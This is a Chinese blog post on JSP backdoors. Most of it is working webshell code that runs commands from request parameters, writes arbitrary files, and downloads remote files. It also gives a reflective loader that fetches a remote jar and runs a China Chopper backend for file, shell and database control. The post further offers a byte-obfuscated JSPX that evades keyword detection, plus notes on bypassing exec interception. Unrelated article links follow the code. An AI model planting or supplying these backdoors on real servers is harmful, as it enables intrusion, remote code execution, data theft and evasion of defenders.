jsp小后门

一：执行系统命令:

无回显执行系统命令：

1	`<%Runtime.getRuntime().exec(request.getParameter("i"));%>`

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("

<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b,0,a));

}

out.print("</pre>

");

}

%>

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的：

1	`<%new` `java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>`

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录：

1	`<%new` `java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>`

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2:

1	`<%new` `java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>`

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:

1	`<%new` `java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>`

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四：反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个：

1	`<%=Class.forName("Load",true,new` `java.net.URLClassLoader(new` `java.net.URL[]{new` `java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null,` `new` `Object[]{request.getParameterMap()})%>`

请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A 菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023. 解：利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。下载：Cat.jar Load代码：

import java.io.IOException;

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

/*

* To change this license header, choose License Headers in Project Properties.

* To change this template file, choose Tools | Templates

* and open the template in the editor.

*/

/**

*

* @author yz

*/

public class Load {

public static String load(Map<string,string[]> map){

try {

Map<string,string> request = new HashMap<string,string>();

for (Entry<string, string[]=""> entrySet : map.entrySet()) {

String key = entrySet.getKey();

String value = entrySet.getValue()[0];

request.put(key, value);

}

return new Chopper().doPost(request);

} catch (IOException ex) {

return ex.toString();

}

}</string,></string,string></string,string></string,string[]>

Chopper代码：

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

import java.io.BufferedInputStream;

import java.io.BufferedReader;

import java.io.BufferedWriter;

import java.io.ByteArrayOutputStream;

import java.io.File;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.OutputStreamWriter;

import java.lang.reflect.Method;

import java.net.HttpURLConnection;

import java.net.URL;

import java.net.URLClassLoader;

import java.sql.Connection;

import java.sql.DriverManager;

import java.sql.ResultSet;

import java.sql.ResultSetMetaData;

import java.sql.Statement;

import java.text.SimpleDateFormat;

import java.util.Date;

import java.util.Map;

public class Chopper{

public static String getPassword() throws IOException {

return "023";

}

String cs = "UTF-8";

String encoding(String s) throws Exception {

return new String(s.getBytes("ISO-8859-1"), cs);

}

Connection getConnection(String s) throws Exception {

String[] x = s.trim().split("\r\n");

try {

Class.forName(x[0].trim());

} catch (ClassNotFoundException e) {

boolean classNotFound = true;

BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));

String str = "";

while ((str = br.readLine()) != null) {

String[] arr = str.split("=");

if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {

try {

URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();

Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);

m.setAccessible(true);

m.invoke(ucl, new Object[]{new URL(arr[1])});

Class.forName(arr[0].trim());

classNotFound = false;

break;

} catch (ClassNotFoundException ex) {

throw ex;

}

if (classNotFound) {

throw e;

}

if (x[1].contains("jdbc:oracle")) {

return DriverManager.getConnection(x[1].trim() + ":" + x[4],

x[2].equalsIgnoreCase("[/null]") ? "" : x[2],

x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);

} else {

Connection c = DriverManager.getConnection(x[1].trim(),

x[2].equalsIgnoreCase("[/null]") ? "" : x[2],

x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);

if (x.length > 4) {

c.setCatalog(x[4]);

}

return c;

}

void listRoots(ByteArrayOutputStream out) throws Exception {

File r[] = File.listRoots();

for (File f : r) {

out.write((f.getName()).getBytes(cs));

}

void dir(String s, ByteArrayOutputStream out) throws Exception {

File l[] = new File(s).listFiles();

for (File f : l) {

String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));

String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");

out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs));

}

void deleteFiles(File f) throws Exception {

if (f.isDirectory()) {

File x[] = f.listFiles();

for (File fs : x) {

deleteFiles(fs);

}

f.delete();

}

byte[] readFile(String s) throws Exception {

int n;

byte[] b = new byte[1024];

BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));

ByteArrayOutputStream bos = new ByteArrayOutputStream();

while ((n = bis.read(b)) != -1) {

bos.write(b, 0, n);

}

bis.close();

return bos.toByteArray();

}

void upload(String s, String d) throws Exception {

String h = "0123456789ABCDEF";

File f = new File(s);

f.createNewFile();

FileOutputStream os = new FileOutputStream(f);

for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove(new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = 0; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = -1; byte[] b = new byte[1024]; while ((i = is.read(b)) != -1) { out.write(b, 0, i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject(1) + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split("\r\n"); ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});

while (r.next()) {

out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs));

}

r.close();

c.close();

}

void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {

String[] x = s.trim().split("\r\n");

Connection c = getConnection(s);

ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();

ResultSetMetaData d = r.getMetaData();

for (int i = 1; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement(1005, 1008); BufferedWriter bw = null; try { boolean f = q.contains("--f:"); ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (int i = 1; i <= n; i++) { out.write((d.getColumnName(i) + "\t|\t").getBytes(cs)); } out.write(("\r\n").getBytes(cs)); if (f) { File file = new File(p); if (!q.contains("-to:")) { file.mkdir(); } bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs)); } while (r.next()) { for (int i = 1; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + "\t"); bw.flush(); } else { out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs)); } } if (bw != null) { bw.newLine(); } out.write(("\r\n").getBytes(cs)); } r.close(); if (bw != null) { bw.close(); } } catch (Exception e) { out.write(("Result\t|\t\r\n").getBytes(cs)); try { m.executeUpdate(q); out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + "\t|\t\r\n").getBytes(cs)); } } m.close(); c.close(); } public String doPost(Map<string,string>request) throws IOException {

cs = request.get("z0") != null ? request.get("z0") + "" : cs;

ByteArrayOutputStream out = new ByteArrayOutputStream();

try {

char z = (char) request.get(getPassword()).getBytes()[0];

String z1 = encoding(request.get("z1") + "");

String z2 = encoding(request.get("z2") + "");

out.write("->|".getBytes(cs));

String s = new File("").getCanonicalPath();

byte[] returnTrue = "1".getBytes(cs);

switch (z) {

case 'A':

out.write((s + "\t").getBytes(cs));

if (!s.substring(0, 1).equals("/")) {

listRoots(out);

}

break;

case 'B':

dir(z1, out);

break;

case 'C':

String l = "";

BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));

while ((l = br.readLine()) != null) {

out.write((l + "\r\n").getBytes(cs));

}

br.close();

break;

case 'D':

BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));

bw.write(z2);

bw.flush();

bw.close();

out.write(returnTrue);

break;

case 'E':

deleteFiles(new File(z1));

out.write("1".getBytes(cs));

break;

case 'F':

out.write(readFile(z1));

case 'G':

upload(z1, z2);

out.write(returnTrue);

break;

case 'H':

filesMove(new File(z1), new File(z2));

out.write(returnTrue);

break;

case 'I':

fileMove(new File(z1), new File(z2));

out.write(returnTrue);

break;

case 'J':

mkdir(new File(z1));

out.write(returnTrue);

break;

case 'K':

setLastModified(new File(z1), z2);

out.write(returnTrue);

break;

case 'L':

downloadRemoteFile(z1, z2);

out.write(returnTrue);

break;

case 'M':

String[] c = {z1.substring(2), z1.substring(0, 2), z2};

Process p = Runtime.getRuntime().exec(c);

inputStreamToOutPutStream(p.getInputStream(), out);

inputStreamToOutPutStream(p.getErrorStream(), out);

break;

case 'N':

getCurrentDB(z1, out);

break;

case 'O':

getTableName(z1, out);

break;

case 'P':

getTableColumn(z1, out);

break;

case 'Q':

executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/");

break;

}

} catch (Exception e) {

out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));

}

out.write(("|<-").getBytes(cs)); return new String(out.toByteArray()); } }</string,string>

map.txt:

oracle.jdbc.driver.OracleDriver=http://javaweb.org/jdbc/classes12.jar

com.mysql.jdbc.Driver=http://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar

com.microsoft.jdbc.sqlserver.SQLServerDriver=http:

//javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar

com.microsoft.sqlserver.jdbc.SQLServerDriver=http://javaweb.org/jdbc/sqljdbc4.jar

com.ibm.db2.jcc.DB2Driver=http://javaweb.org/jdbc/db2java.jar

com.informix.jdbc.IfxDriver=http://javaweb.org/jdbc/ifxjdbc.jar

com.sybase.jdbc3.jdbc.SybDriver=http://javaweb.org/jdbc/jconn3d.jar

org.postgresql.Driver=http://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar

com.ncr.teradata.TeraDriver=http://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar

com.hxtt.sql.access.AccessDriver=http://javaweb.org/jdbc/Access_JDBC30.jar

org.apache.derby.jdbc.ClientDriver=http://javaweb.org/jdbc/derby.jar

org.hsqldb.jdbcDriver=http://javaweb.org/jdbc/hsqldb.jar

net.sourceforge.jtds.jdbc.Driver=http://javaweb.org/jdbc/jtds-1.2.5.jar

mongodb=http://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar

无任何命令执行关键字的cmd.zip

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">

<jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>

<jsp:scriptlet>

Class<?> api = String.class.getClass().forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));

Object obj2 = api.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(api.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{request.getParameter("str")});

java.lang.reflect.Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));

m.setAccessible(true);

java.util.Scanner s = new java.util.Scanner((java.io.InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");

out.write("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>");

</jsp:scriptlet>

</jsp:root>

绕过exec关键字很简单，如果是纯代码检测用这个无任何命令执行关键字的命令执行jspx(参数str): cmd.jspx.zip 如果是语言层拦截了exec，那么可以通过反射java.lang.UNIXProcess类实现执行任意的命令。示例代码如下:

Class clazz = Class.forName("java.lang.ProcessImpl");

Constructor constructor = clazz.getDeclaredConstructors()[0];

constructor.setAccessible(true);

Process process = (Process) constructor.newInstance(

toCString(cmdarray[0]), argBlock, args.length,

null, envc[0], null, std_fds, false

);

如果不会写，自己参考"UNIXProcess.java"的代码就可以了。

jsp小后门的更多相关文章

Web前端开发：SQL Jsp小项目（一）
Jsp的学习算是告一段落,针对这段时间的学习,写了一个Jsp小项目来巩固学到的知识. 框架示意图 User list process UserAdd process 需要的界面效果: 需要工具:Ecl ...
JSP文件管理后门工具jsp-file-browser
JSP文件管理后门工具jsp-file-browser 在网页后门中,快速浏览服务器文件非常重要.为此,Kali Linux新增了一款JSP后门工具jsp-file-browser.该工具提供所有 ...
jsp小商城
一个小商城,当然,没淘宝那么厉害,只是那时学完j2ee后,发现java原来也可以做网站,学了数据库,servlet,jsp,当时是很惊喜的,可以直接做个这样的东西.而放到今天,学了更多之后,发现可以用 ...
jsp小测试--猜大小
page1.jpg: <%@ page language="java" import="java.util.*" pageEncoding="g ...
JSP小例子——实现用户登录小例子（不涉及DB操作）
实现用户登录小例子用户名和密码都为"admin",登陆成功使用服务器内部转发到login_success.jsp页面,并且提示登陆成功的用户名.如果登陆失败则请求重定向到login ...
Web前端开发：SQL Jsp小项目（二）------添加修改
沿着昨天整理好的页面,今天实现list页面中的修改, User update框架需要的效果图: 先看用户查询界面, 修改id为4的那个用户: 修改后返回用户查看界面. 1 .先是从list界面开始, ...
JSP小实例--计算器
package cn.com.caculate; import java.math.BigDecimal; public class caculate { private String firstNu ...
无框架JavaWeb简单增删改查,纯 jsp小练习
地址 : 纯本人手码 jsp练习>>>>>
jsp小基础归纳
JSP的本质就是一个Servlet,JSP的运行之前会先被Tomcat服务器翻译为.java文件,然后在将.java文本编译为.class文件,而我们在访问jsp时,处理请求的就是那个翻译后的类. 1 ...

随机推荐

Javac之glb与lub
5.1.10. Capture Conversion Let G name a generic type declaration (§8.1.2, §9.1.2) with n type parame ...
WebBench压力测试工具
Webbench是有名的网站压力测试工具,它是由 Lionbridge公司(http://www.lionbridge.com)开发. Webbech能测试处在相同硬件上,不同服务的性能以及不同硬件上 ...
MVC、MVCS、MVVM、MVP、VIPER等这么多架构模式哪一个好呢？
在项目开启阶段,其中一个很重要的环节就是选架构. 那么面对目前已知的这么多架构模式我们该怎么选择呢?这确实是个很让人头疼的问题! 下面我就在这里梳理一下目前常见的一些架构模式. 先逐个对它们的分析 ...
sql先分组，再算百分比
--先分组,再算百分比 SELECT a.CooperationIntention , a.OrganizationID , COUNT(*) 数量 , CONVER ...
idea中maven项目程序包找不到解决办法之一
首先检查maven配置对不对,包括被settings文件以及资源库的位置,maven版本等. 如果不行的话再进行下面的操作: 第一种方案: 在终端terminal中项目目录下,输入“mvn idea: ...
SQL Server拾遗
1.判断数据库中是否存在一个表 if exists( select * from sysobjects where id=OBJECT_ID(N'[dbo].[Users]') ) drop tabl ...
微信 weui 初体验
最近微信推出他们自己的H5组件(weui)组件的优点有两个: 做为开发者的我们可以不用写太多css,直接拿过来就可以用. 组件都有点击态,大大增加了用户的体验好感高清屏幕下 border : 0.5 ...
【转】java线程池
一简介线程的使用在java中占有极其重要的地位,在jdk1.4极其之前的jdk版本中,关于线程池的使用是极其简陋的.在jdk1.5之后这一情况有了很大的改观.Jdk1.5之后加入了java.util. ...
MySQL数据库的回滚失败（JAVA）
这几天在学习MySQL数据的知识,有一个小测试,用来测试数据库的提交和回滚. 刚开始的时候真的没把这个当回事,按照正常的步骤来讲的话,如下所示,加载驱动,获取数据库的连接,并且把数据库的自动提交给关闭 ...
Java转换Word文件到PDF文件
使用Docx4j将Word文件转换为PDF文件: public static void convertDocxToPDF(String docxFilePath, String pdfPath) th ...

jsp小后门

jsp小后门的更多相关文章

随机推荐

热门专题